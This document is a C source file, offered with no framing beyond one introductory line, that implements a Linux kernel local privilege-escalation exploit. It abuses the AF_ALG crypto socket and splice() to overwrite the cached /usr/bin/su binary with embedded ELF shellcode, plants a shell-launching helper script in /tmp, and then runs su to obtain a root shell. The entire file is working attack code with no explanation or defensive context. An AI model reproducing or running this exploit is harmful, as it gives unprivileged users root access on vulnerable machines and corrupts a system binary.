Here's the source file:

#define _GNU_SOURCE              
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
struct sockaddr_alg {
    unsigned short salg_family;
    unsigned char  salg_type[14];
    unsigned int   salg_mask;
    unsigned int   salg_feat;
    unsigned char  salg_name[64];
};
#define ALG_SET_KEY            1
#define ALG_SET_IV             2
#define ALG_SET_OP             3
#define ALG_SET_AEAD_ASSOCLEN  4
#define ALG_SET_AEAD_AUTHSIZE  5
#define ALG_OP_DECRYPT         0
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    int alg_sock, op_sock, pipefd[2];
    size_t total_len = offset + 4;
    unsigned char zero4[4] = {0};
    unsigned char iv[20]    = {0x10, 0};
    unsigned char assoclen[4] = {8, 0, 0, 0};
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (alg_sock < 0) { perror("socket"); exit(1); }
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_mask   = 0,
        .salg_feat   = 0,
        .salg_name   = "authencesn(hmac(sha256),cbc(aes))"
    };
    if (bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind"); exit(1);
    }
    unsigned char key[72] = "\x08\x00\x01\x00\x00\x00\x00\x10";
    if (setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
        perror("setsockopt key"); exit(1);
    }
    if (setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) < 0) {
        perror("setsockopt authsize"); exit(1);
    }
    op_sock = accept(alg_sock, NULL, NULL);
    if (op_sock < 0) { perror("accept"); exit(1); }
    unsigned char msg_buf[8] = {'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3]};
    struct iovec iov = { .iov_base = msg_buf, .iov_len = 8 };
    char cbuf[512];
    size_t clen = 0;
    struct cmsghdr *cmsg;
    cmsg = (struct cmsghdr *)(cbuf + clen);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_OP;
    cmsg->cmsg_len   = CMSG_LEN(sizeof(int));
    memcpy(CMSG_DATA(cmsg), zero4, sizeof(int));
    clen += CMSG_SPACE(sizeof(int));
    cmsg = (struct cmsghdr *)(cbuf + clen);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_IV;
    cmsg->cmsg_len   = CMSG_LEN(sizeof(iv));
    memcpy(CMSG_DATA(cmsg), iv, sizeof(iv));
    clen += CMSG_SPACE(sizeof(iv));
    cmsg = (struct cmsghdr *)(cbuf + clen);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type  = ALG_SET_AEAD_ASSOCLEN;
    cmsg->cmsg_len   = CMSG_LEN(sizeof(int));
    memcpy(CMSG_DATA(cmsg), assoclen, sizeof(int));
    clen += CMSG_SPACE(sizeof(int));
    struct msghdr msg = {
        .msg_iov        = &iov,
        .msg_iovlen     = 1,
        .msg_control    = cbuf,
        .msg_controllen = clen
    };
    if (sendmsg(op_sock, &msg, MSG_MORE) < 0) { perror("sendmsg"); exit(1); }
    if (pipe(pipefd) < 0) { perror("pipe"); exit(1); }
    loff_t off_in = 0;
    if (splice(fd, &off_in, pipefd[1], NULL, total_len, 0) < 0) {
        perror("splice fd->pipe"); exit(1);
    }
    if (splice(pipefd[0], NULL, op_sock, NULL, total_len, 0) < 0) {
        perror("splice pipe->sock"); exit(1);
    }
    size_t recv_size = 8 + offset;
    unsigned char *dummy = malloc(recv_size);
    if (dummy) {
        recv(op_sock, dummy, recv_size, 0);
        free(dummy);
    }
    close(op_sock);
    close(pipefd[0]);
    close(pipefd[1]);
    close(alg_sock);
}
int main(void)
{
    FILE *helper = fopen("/tmp/x", "w");
    if (helper) {
        fprintf(helper, "#!/bin/sh\nexport TERM=xterm-256color\nexec /bin/sh\n");
        fclose(helper);
        chmod("/tmp/x", 0755);
    }
    unsigned char payload[] = {
        0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x31, 0xc0,                         
        0x31, 0xff,                         
        0xb0, 0x69,                         
        0x0f, 0x05,                         
        0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 
        0x31, 0xf6,                         
        0x6a, 0x3b,                         
        0x58,                               
        0x99,                               
        0x0f, 0x05,                         
        0x31, 0xff,                         
        0x6a, 0x3c,                         
        0x58,                               
        0x0f, 0x05,                         
        0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00  
    };
    size_t len = sizeof(payload);
    for (size_t i = 0; i < len - 7; i++) {
        if (memcmp(&payload[i], "/bin/sh", 7) == 0) {
            memcpy(&payload[i], "/tmp/x\0", 7);
            break;
        }
    }
    int su_fd = open("/usr/bin/su", O_RDONLY);
    if (su_fd < 0) { perror("open /usr/bin/su"); return 1; }
    for (size_t i = 0; i < len; i += 4) {
        if (i + 4 > len) break;
        corrupt_binary_chunk(su_fd, i, &payload[i]);
    }
    close(su_fd);
    printf("[+] Corruption done, spawning root shell...\n");
    char *args[] = { "/usr/bin/su", NULL };
    execve(args[0], args, NULL);
    perror("execve /usr/bin/su");
    return 1;
}